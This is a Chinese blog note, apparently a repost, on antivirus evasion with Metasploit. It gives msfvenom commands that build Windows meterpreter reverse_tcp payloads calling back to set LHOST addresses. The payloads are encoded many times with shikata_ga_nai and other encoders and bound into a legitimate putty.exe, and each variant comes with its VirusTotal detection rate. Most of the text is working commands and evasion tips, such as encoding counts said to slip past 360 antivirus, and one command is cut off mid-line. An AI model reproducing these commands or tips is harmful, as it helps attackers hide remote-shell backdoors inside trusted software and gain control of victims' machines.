原文地址:远控免杀专题文章(3)-msf自免杀(VT免杀率35/69)
本人只为技术交流和自我记录笔记 对于原文作者和团队充满膜拜 如有侵权请联系本人删除文章
前言:
本地的安全工具下载安装会影响玩LOL 所以实验嘛 用 在线查毒 就好啦(virustotal.com)
未处理的payload(VT查杀率53/69)
msf自编码处理(VT查杀率51/69)
使用 msfvenom --list encoders
可查看所有编码器
评级最高的两个encoder为cmd/powershell_base64
和x86/shikata_ga_nai
,其中x86/shikata_ga_nai
也是免杀中使用频率最高的一个编码器了。
使用x86/shikata_ga_nai
生成payload,参数-i
为编码次数,我这里设置15次,并使用了-b
参数去掉payload中的空字符。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 15 -f exe -o payload2.exe
在virustotal.com
上查杀率为51/69
由于shikata_ga_nai
编码技术是多态的,也就是说每次生成的payload文件都不一样,有时生成的文件会被查杀,有时却不会。当然这个也和编码次数有一定关系,编码次数好像超过70次就经常生成出错,但是编码次数多并不代表免杀能力强。
msf自捆绑免杀(VT查杀率39/69)
在生成payload时可以使用捆绑功能,使用msfvenom的-x
参数可以指定一个自定义的可执行文件作为模板,并将payload嵌入其中,-x
后面跟对应文件路径就可以。
我这里使用一个正规的putty.exe
作为被捆绑测试软件。
生成payload命令如下
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -x putty.exe -f exe -o payload3.exe
生成的两个文件对比,大小完全一样。
在virustotal.com
上查杀率为39/69
另外,能否免杀也和你选的被捆绑exe有一定关系,可以选微软的一些工具作为模板exe程序。
msf自捆绑+编码(VT查杀率35/69)
将上面的编码和捆绑两种方法结合一下进行尝试
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -x putty.exe -i 15
可修改-i编码次数,编码次数越多,生成的payload越可能免杀,经测试,编码5次和6次可免杀360。
在virustotal.com
上查杀率为35/69
msfvenom多重编码(VT查杀率45/70)
msfvenom的encoder编码器可以对payload进行一定程度免杀,同时还可以使用msfvenom多重编码功能,通过管道,让msfvenom用不同编码器反复编码进行混淆。
如下命令,使用管道让msfvenom
对攻击载荷多重编码,先用shikata_ga_nai
编码20次,接着来10次的alpha_upper
编码,再来10次的countdown
编码,最后才生成以putty.exe
为模板的可执行文件。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.211.55.2 LPORT=3333 -f raw | msfvenom -e x
还有这种更多重编码姿势
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.74.133 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > payload6.exe
在virustotal.com
上查杀率为45/70,编码多了,免杀率居然降低了。。。尴尬。。。
经过测试,发现使用的编码类型越多,免杀率可能会降低,猜测是因为各种编码引入了更多的特征码。同时生成的payload也很可能无法正常执行,这个也和被捆绑程序有一定关联。